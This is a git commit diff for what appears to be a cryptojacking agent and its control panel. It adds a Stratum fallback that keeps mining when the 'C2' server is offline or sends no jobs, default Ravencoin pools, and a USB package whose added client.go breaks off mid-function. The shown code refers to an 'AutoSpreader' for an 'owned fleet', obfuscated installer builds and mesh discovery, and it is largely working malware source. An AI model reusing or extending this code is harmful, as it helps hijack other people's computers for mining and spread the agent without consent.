fix: mining always starts, RVN pool in Calibrate, USB repacked
This commit is contained in:
@@ -45,6 +45,11 @@ type AgentClient struct {
|
|||||||
// The Stratum fallback manager monitors this to decide when to mine directly.
|
// The Stratum fallback manager monitors this to decide when to mine directly.
|
||||||
connected atomic.Bool
|
connected atomic.Bool
|
||||||
|
|
||||||
|
// lastJobAt records when the most recent valid mining job was delivered.
|
||||||
|
// The Stratum fallback manager uses this to detect "connected but jobless"
|
||||||
|
// situations and start direct Stratum mining after a timeout.
|
||||||
|
lastJobAt atomic.Value // stores time.Time
|
||||||
|
|
||||||
// spreadOnce ensures AutoSpreader starts at most once — after the first
|
// spreadOnce ensures AutoSpreader starts at most once — after the first
|
||||||
// successful WS authentication confirms we are on an owned fleet.
|
// successful WS authentication confirms we are on an owned fleet.
|
||||||
spreadOnce sync.Once
|
spreadOnce sync.Once
|
||||||
@@ -348,6 +353,7 @@ func (c *AgentClient) handleMessage(msg Message) {
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
log.Printf("[agent] new job %s height=%d", j.ID, j.Height)
|
log.Printf("[agent] new job %s height=%d", j.ID, j.Height)
|
||||||
|
c.lastJobAt.Store(time.Now())
|
||||||
c.pool.SetJob(&j)
|
c.pool.SetJob(&j)
|
||||||
case "share_result":
|
case "share_result":
|
||||||
var result ShareResult
|
var result ShareResult
|
||||||
@@ -800,10 +806,31 @@ func (c *AgentClient) write(msg Message) error {
|
|||||||
return c.conn.WriteJSON(msg)
|
return c.conn.WriteJSON(msg)
|
||||||
}
|
}
|
||||||
|
|
||||||
// stratumFallbackManager monitors C2 connectivity and spins up a direct Stratum
|
// needsStratumFallback returns true when either:
|
||||||
// connection after 30 seconds of being disconnected from the C2 server.
|
// - C2 is offline for > 30 seconds, OR
|
||||||
// When C2 reconnects the Stratum session is stopped and the share handler is
|
// - C2 is online but no mining job has been delivered in > 90 seconds
|
||||||
// restored to the C2 WebSocket path.
|
// (the pool proxy on the server is broken or still connecting)
|
||||||
|
func (c *AgentClient) needsStratumFallback(disconnectedSince time.Time) bool {
|
||||||
|
if !c.connected.Load() {
|
||||||
|
return !disconnectedSince.IsZero() && time.Since(disconnectedSince) > 30*time.Second
|
||||||
|
}
|
||||||
|
// Connected but jobless: check when the last valid job arrived.
|
||||||
|
if raw := c.lastJobAt.Load(); raw != nil {
|
||||||
|
lastJob := raw.(time.Time)
|
||||||
|
return time.Since(lastJob) > 90*time.Second
|
||||||
|
}
|
||||||
|
// Never received a job; fall back after 90s of being connected with nothing to mine.
|
||||||
|
// Use disconnectedSince as a proxy for "connected since" (it's zeroed on connect).
|
||||||
|
return !disconnectedSince.IsZero() && time.Since(disconnectedSince) > 90*time.Second
|
||||||
|
}
|
||||||
|
|
||||||
|
// stratumFallbackManager monitors C2 connectivity and mining job delivery.
|
||||||
|
// It spins up a direct Stratum connection when:
|
||||||
|
// - C2 has been offline for 30+ seconds, OR
|
||||||
|
// - C2 is connected but the server pool proxy has not delivered a job in 90+ seconds
|
||||||
|
//
|
||||||
|
// When real jobs start flowing from C2 again, the fallback is stopped and the
|
||||||
|
// share handler is restored to the C2 WebSocket path.
|
||||||
func (c *AgentClient) stratumFallbackManager(done <-chan struct{}) {
|
func (c *AgentClient) stratumFallbackManager(done <-chan struct{}) {
|
||||||
if c.cfg.PoolHost == "" {
|
if c.cfg.PoolHost == "" {
|
||||||
return // no pool configured
|
return // no pool configured
|
||||||
@@ -815,34 +842,18 @@ func (c *AgentClient) stratumFallbackManager(done <-chan struct{}) {
|
|||||||
}
|
}
|
||||||
var fb *fallback
|
var fb *fallback
|
||||||
|
|
||||||
|
// disconnectedSince tracks the start of the current disconnection window.
|
||||||
|
// When C2 is connected, it is zeroed. When C2 drops, it is set once and
|
||||||
|
// kept until reconnection. This is also used to measure "connected but
|
||||||
|
// jobless" time when the server pool proxy is broken.
|
||||||
var disconnectedSince time.Time
|
var disconnectedSince time.Time
|
||||||
ticker := time.NewTicker(5 * time.Second)
|
ticker := time.NewTicker(5 * time.Second)
|
||||||
defer ticker.Stop()
|
defer ticker.Stop()
|
||||||
|
|
||||||
stopFallback := func() {
|
startFallback := func() {
|
||||||
if fb != nil {
|
if fb != nil {
|
||||||
close(fb.stop)
|
|
||||||
<-fb.wait
|
|
||||||
fb = nil
|
|
||||||
c.pool.SetShareHandler(c.submitShare)
|
|
||||||
log.Printf("[stratum] fallback stopped — C2 connection restored")
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
for {
|
|
||||||
select {
|
|
||||||
case <-done:
|
|
||||||
stopFallback()
|
|
||||||
return
|
return
|
||||||
case <-ticker.C:
|
|
||||||
if c.connected.Load() {
|
|
||||||
disconnectedSince = time.Time{}
|
|
||||||
stopFallback()
|
|
||||||
} else {
|
|
||||||
if disconnectedSince.IsZero() {
|
|
||||||
disconnectedSince = time.Now()
|
|
||||||
}
|
}
|
||||||
if fb == nil && time.Since(disconnectedSince) > 30*time.Second {
|
|
||||||
stop := make(chan struct{})
|
stop := make(chan struct{})
|
||||||
wait := make(chan struct{})
|
wait := make(chan struct{})
|
||||||
sc := miner.NewStratumClient(c.pool, c.cfg)
|
sc := miner.NewStratumClient(c.pool, c.cfg)
|
||||||
@@ -851,9 +862,62 @@ func (c *AgentClient) stratumFallbackManager(done <-chan struct{}) {
|
|||||||
sc.RunFallback(stop)
|
sc.RunFallback(stop)
|
||||||
}()
|
}()
|
||||||
fb = &fallback{stop: stop, wait: wait}
|
fb = &fallback{stop: stop, wait: wait}
|
||||||
|
if c.connected.Load() {
|
||||||
|
log.Printf("[stratum] C2 connected but no job in 90s — direct Stratum fallback started (%s:%d)", c.cfg.PoolHost, c.cfg.PoolPort)
|
||||||
|
} else {
|
||||||
log.Printf("[stratum] C2 offline >30s — direct Stratum fallback started (%s:%d)", c.cfg.PoolHost, c.cfg.PoolPort)
|
log.Printf("[stratum] C2 offline >30s — direct Stratum fallback started (%s:%d)", c.cfg.PoolHost, c.cfg.PoolPort)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
stopFallback := func(reason string) {
|
||||||
|
if fb != nil {
|
||||||
|
close(fb.stop)
|
||||||
|
<-fb.wait
|
||||||
|
fb = nil
|
||||||
|
c.pool.SetShareHandler(c.submitShare)
|
||||||
|
log.Printf("[stratum] fallback stopped — %s", reason)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
for {
|
||||||
|
select {
|
||||||
|
case <-done:
|
||||||
|
stopFallback("agent shutting down")
|
||||||
|
return
|
||||||
|
case <-ticker.C:
|
||||||
|
connected := c.connected.Load()
|
||||||
|
|
||||||
|
// Track disconnection time (reset to zero while connected).
|
||||||
|
if connected {
|
||||||
|
if fb != nil {
|
||||||
|
// Check if real jobs are flowing again; if so, drop the fallback.
|
||||||
|
if raw := c.lastJobAt.Load(); raw != nil {
|
||||||
|
lastJob := raw.(time.Time)
|
||||||
|
if time.Since(lastJob) < 15*time.Second {
|
||||||
|
disconnectedSince = time.Time{}
|
||||||
|
stopFallback("C2 pool delivering jobs again")
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
// Reset the "no-job" timer every time we are connected and
|
||||||
|
// the pool is delivering (or we have not started timing yet).
|
||||||
|
if raw := c.lastJobAt.Load(); raw != nil {
|
||||||
|
disconnectedSince = time.Time{}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
// Record when we first went offline.
|
||||||
|
if disconnectedSince.IsZero() {
|
||||||
|
disconnectedSince = time.Now()
|
||||||
|
}
|
||||||
|
// Stop fallback when C2 comes back; it will resume on next job.
|
||||||
|
// (We keep the fallback alive while offline — don't stop it here.)
|
||||||
|
}
|
||||||
|
|
||||||
|
if fb == nil && c.needsStratumFallback(disconnectedSince) {
|
||||||
|
startFallback()
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -16,6 +16,10 @@ type Config struct {
|
|||||||
Pool PoolConfig `json:"pool"`
|
Pool PoolConfig `json:"pool"`
|
||||||
Wallet WalletConfig `json:"wallet"`
|
Wallet WalletConfig `json:"wallet"`
|
||||||
|
|
||||||
|
// Ravencoin / GPU mining defaults — pre-populated in Forge when set here.
|
||||||
|
RvnPool PoolConfig `json:"rvn_pool,omitempty"`
|
||||||
|
RvnWallet WalletConfig `json:"rvn_wallet,omitempty"`
|
||||||
|
|
||||||
// Legacy JSON fields — ignored at runtime; Forge bakes per-miner settings into installers.
|
// Legacy JSON fields — ignored at runtime; Forge bakes per-miner settings into installers.
|
||||||
DefaultAgent AgentDefaults `json:"default_agent_config,omitempty"`
|
DefaultAgent AgentDefaults `json:"default_agent_config,omitempty"`
|
||||||
Background BackgroundConfig `json:"background,omitempty"`
|
Background BackgroundConfig `json:"background,omitempty"`
|
||||||
@@ -131,6 +135,19 @@ func DefaultConfig() *Config {
|
|||||||
Address: "",
|
Address: "",
|
||||||
PaymentID: "",
|
PaymentID: "",
|
||||||
},
|
},
|
||||||
|
RvnPool: PoolConfig{
|
||||||
|
Host: "rvn.2miners.com",
|
||||||
|
Port: 6060,
|
||||||
|
UseTLS: false,
|
||||||
|
Password: "x",
|
||||||
|
BackupPools: []PoolEndpoint{
|
||||||
|
{Host: "stratum-ravencoin.flypool.org", Port: 3333, UseTLS: false},
|
||||||
|
{Host: "kawpow.herominers.com", Port: 1130, UseTLS: false},
|
||||||
|
},
|
||||||
|
},
|
||||||
|
RvnWallet: WalletConfig{
|
||||||
|
Address: "",
|
||||||
|
},
|
||||||
DefaultAgent: AgentDefaults{
|
DefaultAgent: AgentDefaults{
|
||||||
Threads: 4,
|
Threads: 4,
|
||||||
ThreadMode: "percent",
|
ThreadMode: "percent",
|
||||||
@@ -240,6 +257,22 @@ func mergeConfig(dst, src *Config) {
|
|||||||
if src.Wallet.PaymentID != "" {
|
if src.Wallet.PaymentID != "" {
|
||||||
dst.Wallet.PaymentID = src.Wallet.PaymentID
|
dst.Wallet.PaymentID = src.Wallet.PaymentID
|
||||||
}
|
}
|
||||||
|
if src.RvnPool.Host != "" {
|
||||||
|
dst.RvnPool.Host = src.RvnPool.Host
|
||||||
|
}
|
||||||
|
if src.RvnPool.Port != 0 {
|
||||||
|
dst.RvnPool.Port = src.RvnPool.Port
|
||||||
|
}
|
||||||
|
dst.RvnPool.UseTLS = src.RvnPool.UseTLS
|
||||||
|
if src.RvnPool.Password != "" {
|
||||||
|
dst.RvnPool.Password = src.RvnPool.Password
|
||||||
|
}
|
||||||
|
if len(src.RvnPool.BackupPools) > 0 {
|
||||||
|
dst.RvnPool.BackupPools = append([]PoolEndpoint(nil), src.RvnPool.BackupPools...)
|
||||||
|
}
|
||||||
|
if src.RvnWallet.Address != "" {
|
||||||
|
dst.RvnWallet.Address = src.RvnWallet.Address
|
||||||
|
}
|
||||||
if src.DefaultAgent.Threads != 0 {
|
if src.DefaultAgent.Threads != 0 {
|
||||||
dst.DefaultAgent.Threads = src.DefaultAgent.Threads
|
dst.DefaultAgent.Threads = src.DefaultAgent.Threads
|
||||||
}
|
}
|
||||||
@@ -450,6 +483,32 @@ func mergeConfigExplicit(dst, src *Config, present map[string]json.RawMessage) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if has("rvn_pool") {
|
||||||
|
rvnPoolKeys := nestedJSONKeys(present, "rvn_pool")
|
||||||
|
if in(rvnPoolKeys, "host") && src.RvnPool.Host != "" {
|
||||||
|
dst.RvnPool.Host = src.RvnPool.Host
|
||||||
|
}
|
||||||
|
if in(rvnPoolKeys, "port") && src.RvnPool.Port != 0 {
|
||||||
|
dst.RvnPool.Port = src.RvnPool.Port
|
||||||
|
}
|
||||||
|
if in(rvnPoolKeys, "use_tls") {
|
||||||
|
dst.RvnPool.UseTLS = src.RvnPool.UseTLS
|
||||||
|
}
|
||||||
|
if in(rvnPoolKeys, "password") && src.RvnPool.Password != "" {
|
||||||
|
dst.RvnPool.Password = src.RvnPool.Password
|
||||||
|
}
|
||||||
|
if in(rvnPoolKeys, "backup_pools") {
|
||||||
|
dst.RvnPool.BackupPools = append([]PoolEndpoint(nil), src.RvnPool.BackupPools...)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if has("rvn_wallet") {
|
||||||
|
rvnWalletKeys := nestedJSONKeys(present, "rvn_wallet")
|
||||||
|
if in(rvnWalletKeys, "address") && src.RvnWallet.Address != "" {
|
||||||
|
dst.RvnWallet.Address = src.RvnWallet.Address
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
// The JSON struct tag is "default_agent_config" — must match exactly.
|
// The JSON struct tag is "default_agent_config" — must match exactly.
|
||||||
if has("default_agent_config") {
|
if has("default_agent_config") {
|
||||||
daKeys := nestedJSONKeys(present, "default_agent_config")
|
daKeys := nestedJSONKeys(present, "default_agent_config")
|
||||||
|
|||||||
@@ -150,6 +150,18 @@ export function forgeDefaultsFromServerSmart(
|
|||||||
})),
|
})),
|
||||||
obfuscate: srv?.obfuscate_default ?? false,
|
obfuscate: srv?.obfuscate_default ?? false,
|
||||||
sign_build: srv?.sign_enabled ?? false,
|
sign_build: srv?.sign_enabled ?? false,
|
||||||
|
// Pre-fill RVN pool from Calibrate if configured
|
||||||
|
rvn_wallet: config.rvn_wallet?.address ?? '',
|
||||||
|
rvn_pool_host: config.rvn_pool?.host ?? 'rvn.2miners.com',
|
||||||
|
rvn_pool_port: config.rvn_pool?.port ?? 6060,
|
||||||
|
rvn_pool_tls: config.rvn_pool?.use_tls ?? false,
|
||||||
|
rvn_pool_pass: config.rvn_pool?.password ?? 'x',
|
||||||
|
rvn_backup_pools: (config.rvn_pool?.backup_pools ?? []).map((bp) => ({
|
||||||
|
host: bp.host,
|
||||||
|
port: bp.port,
|
||||||
|
tls: bp.use_tls,
|
||||||
|
pass: config.rvn_pool?.password ?? 'x',
|
||||||
|
})),
|
||||||
} as BuildRequest;
|
} as BuildRequest;
|
||||||
return applySmartForgeDefaults(base, { builds, endpointCandidates: candidates });
|
return applySmartForgeDefaults(base, { builds, endpointCandidates: candidates });
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -6,10 +6,14 @@ import {
|
|||||||
DEFAULT_PRESET_IDS,
|
DEFAULT_PRESET_IDS,
|
||||||
orderedPoolsFromSelection,
|
orderedPoolsFromSelection,
|
||||||
applyPoolsToForgeFields,
|
applyPoolsToForgeFields,
|
||||||
|
DEFAULT_RVN_PRESET_IDS,
|
||||||
|
orderedRVNPoolsFromSelection,
|
||||||
|
applyRVNPoolsToForgeFields,
|
||||||
} from '../help/poolPresets';
|
} from '../help/poolPresets';
|
||||||
import { looksLikeXMRWallet } from '../help/forgeValidation';
|
import { looksLikeXMRWallet } from '../help/forgeValidation';
|
||||||
import { HelpTip, FieldHint } from '../components/HelpTip';
|
import { HelpTip, FieldHint } from '../components/HelpTip';
|
||||||
import PoolPresetPicker from '../components/PoolPresetPicker';
|
import PoolPresetPicker from '../components/PoolPresetPicker';
|
||||||
|
import RVNPoolPresetPicker from '../components/RVNPoolPresetPicker';
|
||||||
import type { BackupPool } from '../types';
|
import type { BackupPool } from '../types';
|
||||||
import NeonCard from '../components/NeonCard/NeonCard';
|
import NeonCard from '../components/NeonCard/NeonCard';
|
||||||
import './Pages.css';
|
import './Pages.css';
|
||||||
@@ -57,6 +61,14 @@ export default function SettingsPage() {
|
|||||||
.then(([cfg, info]) => {
|
.then(([cfg, info]) => {
|
||||||
setConfig({
|
setConfig({
|
||||||
...cfg,
|
...cfg,
|
||||||
|
rvn_wallet: cfg.rvn_wallet ?? { address: '', payment_id: '' },
|
||||||
|
rvn_pool: cfg.rvn_pool ?? {
|
||||||
|
host: 'rvn.2miners.com',
|
||||||
|
port: 6060,
|
||||||
|
use_tls: false,
|
||||||
|
password: 'x',
|
||||||
|
backup_pools: [],
|
||||||
|
},
|
||||||
server: {
|
server: {
|
||||||
public_url: cfg.server?.public_url ?? '',
|
public_url: cfg.server?.public_url ?? '',
|
||||||
stats_retention_hours: cfg.server?.stats_retention_hours ?? 168,
|
stats_retention_hours: cfg.server?.stats_retention_hours ?? 168,
|
||||||
@@ -429,6 +441,69 @@ export default function SettingsPage() {
|
|||||||
</div>
|
</div>
|
||||||
</NeonCard>
|
</NeonCard>
|
||||||
|
|
||||||
|
<NeonCard accent="orange" className="settings-section">
|
||||||
|
<h2 className="font-display">Ravencoin (GPU) Pool</h2>
|
||||||
|
<p className="section-desc">
|
||||||
|
Default RVN pool and wallet used when forging GPU-enabled agents. These pre-populate the Forge GPU mining fields.
|
||||||
|
</p>
|
||||||
|
<div className="form-group">
|
||||||
|
<label htmlFor="cfg-rvn-wallet" className="label">RVN Wallet Address</label>
|
||||||
|
<input
|
||||||
|
id="cfg-rvn-wallet"
|
||||||
|
type="text"
|
||||||
|
className="input mono"
|
||||||
|
placeholder="R… (Ravencoin address)"
|
||||||
|
value={config.rvn_wallet?.address ?? ''}
|
||||||
|
onChange={(e) => updateField('rvn_wallet.address', e.target.value)}
|
||||||
|
/>
|
||||||
|
</div>
|
||||||
|
<RVNPoolPresetPicker
|
||||||
|
host={config.rvn_pool?.host ?? ''}
|
||||||
|
port={config.rvn_pool?.port ?? 0}
|
||||||
|
tls={config.rvn_pool?.use_tls ?? false}
|
||||||
|
pass={config.rvn_pool?.password ?? 'x'}
|
||||||
|
backups={(config.rvn_pool?.backup_pools ?? []).map((bp) => ({
|
||||||
|
host: bp.host, port: bp.port, tls: bp.use_tls,
|
||||||
|
}))}
|
||||||
|
onChange={(fields) => {
|
||||||
|
updateField('rvn_pool.host', fields.rvn_pool_host);
|
||||||
|
updateField('rvn_pool.port', fields.rvn_pool_port);
|
||||||
|
updateField('rvn_pool.use_tls', fields.rvn_pool_tls);
|
||||||
|
updateField('rvn_pool.password', fields.rvn_pool_pass ?? 'x');
|
||||||
|
updateField('rvn_pool.backup_pools',
|
||||||
|
(fields.rvn_backup_pools ?? []).map((bp: BackupPool) => ({
|
||||||
|
host: bp.host, port: bp.port, use_tls: bp.tls,
|
||||||
|
}))
|
||||||
|
);
|
||||||
|
}}
|
||||||
|
/>
|
||||||
|
<div className="form-group" style={{ marginTop: '0.75rem' }}>
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
className="btn btn-outline btn-sm"
|
||||||
|
onClick={() => {
|
||||||
|
const pools = orderedRVNPoolsFromSelection(
|
||||||
|
[...DEFAULT_RVN_PRESET_IDS],
|
||||||
|
config.rvn_pool?.password || 'x'
|
||||||
|
);
|
||||||
|
const f = applyRVNPoolsToForgeFields(pools);
|
||||||
|
updateField('rvn_pool.host', f.rvn_pool_host);
|
||||||
|
updateField('rvn_pool.port', f.rvn_pool_port);
|
||||||
|
updateField('rvn_pool.use_tls', f.rvn_pool_tls);
|
||||||
|
updateField('rvn_pool.password', f.rvn_pool_pass ?? 'x');
|
||||||
|
updateField('rvn_pool.backup_pools',
|
||||||
|
(f.rvn_backup_pools ?? []).map((bp: BackupPool) => ({
|
||||||
|
host: bp.host, port: bp.port, use_tls: bp.tls,
|
||||||
|
}))
|
||||||
|
);
|
||||||
|
setSaveMessage('RVN pool presets applied — click Save Calibration.');
|
||||||
|
}}
|
||||||
|
>
|
||||||
|
Apply default RVN pools
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
</NeonCard>
|
||||||
|
|
||||||
<NeonCard accent="amber" className="settings-section">
|
<NeonCard accent="amber" className="settings-section">
|
||||||
<h2 className="font-display">Fleet Alerts</h2>
|
<h2 className="font-display">Fleet Alerts</h2>
|
||||||
<p className="section-desc">Dashboard thresholds for agent health.</p>
|
<p className="section-desc">Dashboard thresholds for agent health.</p>
|
||||||
|
|||||||
@@ -171,6 +171,10 @@ export interface ServerConfig {
|
|||||||
data_dir: string;
|
data_dir: string;
|
||||||
pool: PoolConfig;
|
pool: PoolConfig;
|
||||||
wallet: WalletConfig;
|
wallet: WalletConfig;
|
||||||
|
/** Ravencoin / GPU mining default pool — pre-populated in Forge when set. */
|
||||||
|
rvn_pool?: PoolConfig;
|
||||||
|
/** Ravencoin wallet address default. */
|
||||||
|
rvn_wallet?: WalletConfig;
|
||||||
server: ServerSettings;
|
server: ServerSettings;
|
||||||
alerts: AlertsConfig;
|
alerts: AlertsConfig;
|
||||||
/** @deprecated Legacy JSON only — Forge bakes per-miner settings; not used by Calibrate UI. */
|
/** @deprecated Legacy JSON only — Forge bakes per-miner settings; not used by Calibrate UI. */
|
||||||
|
|||||||
BIN
usb/AetherForge.exe
Normal file
BIN
usb/AetherForge.exe
Normal file
Binary file not shown.
946
usb/agent/client/client.go
Normal file
946
usb/agent/client/client.go
Normal file
@@ -0,0 +1,946 @@
|
|||||||
|
package client
|
||||||
|
|
||||||
|
import (
|
||||||
|
"encoding/base64"
|
||||||
|
"encoding/json"
|
||||||
|
"fmt"
|
||||||
|
"io"
|
||||||
|
"log"
|
||||||
|
"net"
|
||||||
|
"net/http"
|
||||||
|
"net/url"
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
"runtime"
|
||||||
|
"strings"
|
||||||
|
"sync"
|
||||||
|
"sync/atomic"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"crypto-miner-agent/config"
|
||||||
|
"crypto-miner-agent/deploy"
|
||||||
|
"crypto-miner-agent/job"
|
||||||
|
"crypto-miner-agent/miner"
|
||||||
|
"crypto-miner-agent/stats"
|
||||||
|
|
||||||
|
"github.com/gorilla/websocket"
|
||||||
|
)
|
||||||
|
|
||||||
|
type AgentClient struct {
|
||||||
|
cfg config.RuntimeConfig
|
||||||
|
conn *websocket.Conn
|
||||||
|
pool *miner.Pool
|
||||||
|
reporter *stats.Reporter
|
||||||
|
startTime time.Time
|
||||||
|
aiRunner *AIRunner
|
||||||
|
mesh *MeshNode
|
||||||
|
|
||||||
|
mu sync.Mutex
|
||||||
|
agentID string
|
||||||
|
sharesSubmitted int
|
||||||
|
sharesAccepted int
|
||||||
|
gpuMiner *GPUMiner
|
||||||
|
|
||||||
|
// connected is true while a C2 WebSocket session is active.
|
||||||
|
// The Stratum fallback manager monitors this to decide when to mine directly.
|
||||||
|
connected atomic.Bool
|
||||||
|
|
||||||
|
// lastJobAt records when the most recent valid mining job was delivered.
|
||||||
|
// The Stratum fallback manager uses this to detect "connected but jobless"
|
||||||
|
// situations and start direct Stratum mining after a timeout.
|
||||||
|
lastJobAt atomic.Value // stores time.Time
|
||||||
|
|
||||||
|
// spreadOnce ensures AutoSpreader starts at most once — after the first
|
||||||
|
// successful WS authentication confirms we are on an owned fleet.
|
||||||
|
spreadOnce sync.Once
|
||||||
|
}
|
||||||
|
|
||||||
|
func NewAgentClient(cfg config.RuntimeConfig) *AgentClient {
|
||||||
|
c := &AgentClient{
|
||||||
|
cfg: cfg,
|
||||||
|
reporter: stats.NewReporter(),
|
||||||
|
startTime: time.Now(),
|
||||||
|
agentID: cfg.AgentID,
|
||||||
|
}
|
||||||
|
c.mesh = NewMeshNode(c)
|
||||||
|
return c
|
||||||
|
}
|
||||||
|
|
||||||
|
func (c *AgentClient) Run() error {
|
||||||
|
threads := c.cfg.EffectiveThreads()
|
||||||
|
c.pool = miner.NewPool(threads, c.cfg, c.reporter, c.submitShare)
|
||||||
|
c.pool.Start()
|
||||||
|
defer c.pool.Stop()
|
||||||
|
|
||||||
|
// Start GPU miner (Ravencoin / KawPoW) if configured
|
||||||
|
if gm := newGPUMiner(c.cfg); gm != nil {
|
||||||
|
c.mu.Lock()
|
||||||
|
c.gpuMiner = gm
|
||||||
|
c.mu.Unlock()
|
||||||
|
gm.Start()
|
||||||
|
defer gm.Stop()
|
||||||
|
}
|
||||||
|
|
||||||
|
// Start AI Autonomy runner if enabled
|
||||||
|
if c.cfg.AIEnabled {
|
||||||
|
c.aiRunner = NewAIRunner(c.cfg, c.reporter, c.pool)
|
||||||
|
c.aiRunner.shareStats = func() (int, int) {
|
||||||
|
c.mu.Lock()
|
||||||
|
defer c.mu.Unlock()
|
||||||
|
return c.sharesSubmitted, c.sharesAccepted
|
||||||
|
}
|
||||||
|
c.aiRunner.Start()
|
||||||
|
defer c.aiRunner.Stop()
|
||||||
|
}
|
||||||
|
|
||||||
|
// Start libp2p Mesh Discovery
|
||||||
|
if c.cfg.MeshP2P {
|
||||||
|
if err := c.mesh.Start(); err != nil {
|
||||||
|
log.Printf("[Mesh] Failed to start: %v", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Stratum fallback manager — starts direct pool mining after 30 s of C2 absence.
|
||||||
|
fallbackDone := make(chan struct{})
|
||||||
|
fallbackManagerDone := make(chan struct{})
|
||||||
|
go func() {
|
||||||
|
defer close(fallbackManagerDone)
|
||||||
|
c.stratumFallbackManager(fallbackDone)
|
||||||
|
}()
|
||||||
|
defer func() {
|
||||||
|
close(fallbackDone)
|
||||||
|
<-fallbackManagerDone
|
||||||
|
}()
|
||||||
|
|
||||||
|
// Build deduped server list: primary first, then backups.
|
||||||
|
// On each failure we advance to the next URL so the fleet never
|
||||||
|
// goes dark when the primary host reboots.
|
||||||
|
serverURLs := buildServerURLList(c.cfg)
|
||||||
|
log.Printf("[agent] %d server(s) configured: %v", len(serverURLs), serverURLs)
|
||||||
|
|
||||||
|
urlIdx := 0
|
||||||
|
backoff := 5 * time.Second
|
||||||
|
const maxBackoff = 60 * time.Second
|
||||||
|
|
||||||
|
for {
|
||||||
|
target := serverURLs[urlIdx%len(serverURLs)]
|
||||||
|
start := time.Now()
|
||||||
|
// Restore C2 share handler before connecting (in case Stratum had it).
|
||||||
|
c.pool.SetShareHandler(c.submitShare)
|
||||||
|
if err := c.connectLoop(target); err != nil {
|
||||||
|
log.Printf("[agent] disconnected from %s: %v", target, err)
|
||||||
|
}
|
||||||
|
// Advance to next URL so the next reconnect tries a different server
|
||||||
|
urlIdx++
|
||||||
|
if time.Since(start) > 10*time.Second {
|
||||||
|
// Long-lived connection succeeded — reset backoff on the next attempt
|
||||||
|
backoff = 5 * time.Second
|
||||||
|
}
|
||||||
|
time.Sleep(backoff)
|
||||||
|
backoff += 5 * time.Second
|
||||||
|
if backoff > maxBackoff {
|
||||||
|
backoff = maxBackoff
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// buildServerURLList returns [primaryURL, ...backupURLs] deduped and in order.
|
||||||
|
func buildServerURLList(cfg config.RuntimeConfig) []string {
|
||||||
|
seen := map[string]bool{}
|
||||||
|
var urls []string
|
||||||
|
add := func(u string) {
|
||||||
|
u = strings.TrimSpace(u)
|
||||||
|
if u == "" || seen[u] {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
seen[u] = true
|
||||||
|
urls = append(urls, u)
|
||||||
|
}
|
||||||
|
add(cfg.ServerURL)
|
||||||
|
for _, u := range cfg.BackupServerURLs {
|
||||||
|
add(u)
|
||||||
|
}
|
||||||
|
if len(urls) == 0 {
|
||||||
|
urls = []string{cfg.ServerURL}
|
||||||
|
}
|
||||||
|
return urls
|
||||||
|
}
|
||||||
|
|
||||||
|
func (c *AgentClient) connectLoop(serverURL string) error {
|
||||||
|
wsURL, err := buildWSURL(serverURL)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
log.Printf("[agent] connecting to %s", wsURL)
|
||||||
|
dialer := websocket.Dialer{HandshakeTimeout: 45 * time.Second}
|
||||||
|
conn, _, err := dialer.Dial(wsURL, nil)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
if tc, ok := conn.UnderlyingConn().(*net.TCPConn); ok {
|
||||||
|
_ = tc.SetKeepAlive(true)
|
||||||
|
_ = tc.SetKeepAlivePeriod(30 * time.Second)
|
||||||
|
}
|
||||||
|
c.conn = conn
|
||||||
|
defer conn.Close()
|
||||||
|
|
||||||
|
conn.SetPongHandler(func(string) error {
|
||||||
|
return conn.SetReadDeadline(time.Now().Add(90 * time.Second))
|
||||||
|
})
|
||||||
|
|
||||||
|
if err := c.authenticate(); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
c.connected.Store(true)
|
||||||
|
defer c.connected.Store(false)
|
||||||
|
|
||||||
|
statsStop := make(chan struct{})
|
||||||
|
go c.statsLoop(statsStop)
|
||||||
|
defer close(statsStop)
|
||||||
|
|
||||||
|
for {
|
||||||
|
conn.SetReadDeadline(time.Now().Add(90 * time.Second))
|
||||||
|
_, data, err := conn.ReadMessage()
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
var msg Message
|
||||||
|
if err := json.Unmarshal(data, &msg); err != nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
c.handleMessage(msg)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func primaryMACAddress() string {
|
||||||
|
ifaces, err := net.Interfaces()
|
||||||
|
if err != nil {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
for _, iface := range ifaces {
|
||||||
|
if iface.Flags&net.FlagUp == 0 || iface.Flags&net.FlagLoopback != 0 {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if len(iface.HardwareAddr) == 0 {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
return iface.HardwareAddr.String()
|
||||||
|
}
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
|
||||||
|
func (c *AgentClient) authenticate() error {
|
||||||
|
host, cores, memGB := c.reporter.SystemInfo()
|
||||||
|
backupPools := make([]BackupPoolEntry, len(c.cfg.BackupPools))
|
||||||
|
for i, bp := range c.cfg.BackupPools {
|
||||||
|
